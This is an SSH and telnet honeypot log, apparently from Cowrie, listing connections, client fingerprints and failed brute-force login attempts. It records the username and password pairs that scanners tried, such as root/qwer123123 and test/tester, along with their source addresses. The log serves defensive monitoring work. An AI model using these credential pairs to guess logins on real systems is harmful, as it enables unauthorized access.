{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":32946,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb0cfc5721fe","protocol":"ssh","message":"New connection: 211.251.245.88:32946 (10.17.0.5:22) [session: eb0cfc5721fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:22.144731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:22.148054Z","src_ip":"211.251.245.88","session":"eb0cfc5721fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:22.351098Z","src_ip":"211.251.245.88","session":"eb0cfc5721fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123123","message":"login attempt [root/qwer123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:23.198720Z","src_ip":"211.251.245.88","session":"eb0cfc5721fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.5.130","src_port":53650,"dst_ip":"10.17.0.5","dst_port":23,"session":"04ad6ee31dcc","protocol":"telnet","message":"New connection: 47.253.5.130:53650 (10.17.0.5:23) [session: 04ad6ee31dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:24.054039Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:24.405046Z","src_ip":"211.251.245.88","session":"eb0cfc5721fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.36448526382446,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:33.160136Z","src_ip":"137.184.5.188","session":"7dce1eae2741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":46724,"dst_ip":"159.203.135.109","dst_port":22,"session":"119be474a60c","protocol":"ssh","message":"New connection: 80.94.92.55:46724 (159.203.135.109:22) [session: 119be474a60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:51.955861Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:52.065308Z","src_ip":"80.94.92.55","session":"119be474a60c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":52116,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fe09e5a3f31","protocol":"ssh","message":"New connection: 103.78.1.33:52116 (10.17.0.5:22) [session: 7fe09e5a3f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:55.446430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:55.450130Z","src_ip":"103.78.1.33","session":"7fe09e5a3f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:55.674348Z","src_ip":"103.78.1.33","session":"7fe09e5a3f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aini1314","message":"login attempt [root/Aini1314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:56.606786Z","src_ip":"103.78.1.33","session":"7fe09e5a3f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:57.834553Z","src_ip":"103.78.1.33","session":"7fe09e5a3f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":34414,"dst_ip":"10.17.0.5","dst_port":22,"session":"50da9d5daaa5","protocol":"ssh","message":"New connection: 213.202.230.81:34414 (10.17.0.5:22) [session: 50da9d5daaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:59.510170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:59.514223Z","src_ip":"213.202.230.81","session":"50da9d5daaa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:59.603629Z","src_ip":"213.202.230.81","session":"50da9d5daaa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"santodomingo_dominican","password":"santodomingo123","message":"login attempt [santodomingo_dominican/santodomingo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:31:59.868485Z","src_ip":"213.202.230.81","session":"50da9d5daaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:00.958983Z","src_ip":"213.202.230.81","session":"50da9d5daaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":49476,"dst_ip":"159.203.135.109","dst_port":22,"session":"04d02fcbbd95","protocol":"ssh","message":"New connection: 103.86.198.253:49476 (159.203.135.109:22) [session: 04d02fcbbd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:07.791068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:07.796330Z","src_ip":"103.86.198.253","session":"04d02fcbbd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:08.065485Z","src_ip":"103.86.198.253","session":"04d02fcbbd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456lh","message":"login attempt [root/123456lh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:09.161557Z","src_ip":"103.86.198.253","session":"04d02fcbbd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":44008,"dst_ip":"159.203.135.109","dst_port":22,"session":"53058a9cd74c","protocol":"ssh","message":"New connection: 185.113.139.51:44008 (159.203.135.109:22) [session: 53058a9cd74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:09.998712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:10.004898Z","src_ip":"185.113.139.51","session":"53058a9cd74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:10.114611Z","src_ip":"185.113.139.51","session":"53058a9cd74c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:10.457482Z","src_ip":"103.86.198.253","session":"04d02fcbbd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@abc","message":"login attempt [root/1234@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:10.586222Z","src_ip":"185.113.139.51","session":"53058a9cd74c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:11.698953Z","src_ip":"185.113.139.51","session":"53058a9cd74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9df41d38ca1","protocol":"ssh","message":"New connection: 81.177.101.45:52722 (10.17.0.5:22) [session: c9df41d38ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:14.539173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:14.546100Z","src_ip":"81.177.101.45","session":"c9df41d38ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:14.694057Z","src_ip":"81.177.101.45","session":"c9df41d38ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz!@#wsx","message":"login attempt [root/qaz!@#wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:15.223974Z","src_ip":"81.177.101.45","session":"c9df41d38ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:16.363183Z","src_ip":"81.177.101.45","session":"c9df41d38ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.03764128684998,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:19.250770Z","src_ip":"170.64.224.25","session":"0b6de3ec6e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.053563594818115,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:24.107510Z","src_ip":"47.253.5.130","session":"04ad6ee31dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":49668,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d7bda23cfa","protocol":"ssh","message":"New connection: 91.92.40.176:49668 (10.17.0.5:22) [session: c0d7bda23cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:24.938078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:24.942534Z","src_ip":"91.92.40.176","session":"c0d7bda23cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:25.023524Z","src_ip":"91.92.40.176","session":"c0d7bda23cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester","message":"login attempt [test/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:25.340111Z","src_ip":"91.92.40.176","session":"c0d7bda23cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":36508,"dst_ip":"10.17.0.5","dst_port":22,"session":"8923e52d5783","protocol":"ssh","message":"New connection: 160.22.170.38:36508 (10.17.0.5:22) [session: 8923e52d5783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:26.355322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:26.358701Z","src_ip":"160.22.170.38","session":"8923e52d5783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:26.598378Z","src_ip":"91.92.40.176","session":"c0d7bda23cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:26.608885Z","src_ip":"160.22.170.38","session":"8923e52d5783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":59498,"dst_ip":"159.203.135.109","dst_port":22,"session":"08dc527e4553","protocol":"ssh","message":"New connection: 118.26.36.195:59498 (159.203.135.109:22) [session: 08dc527e4553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:27.204957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:27.208321Z","src_ip":"118.26.36.195","session":"08dc527e4553","protocol":"ssh"}
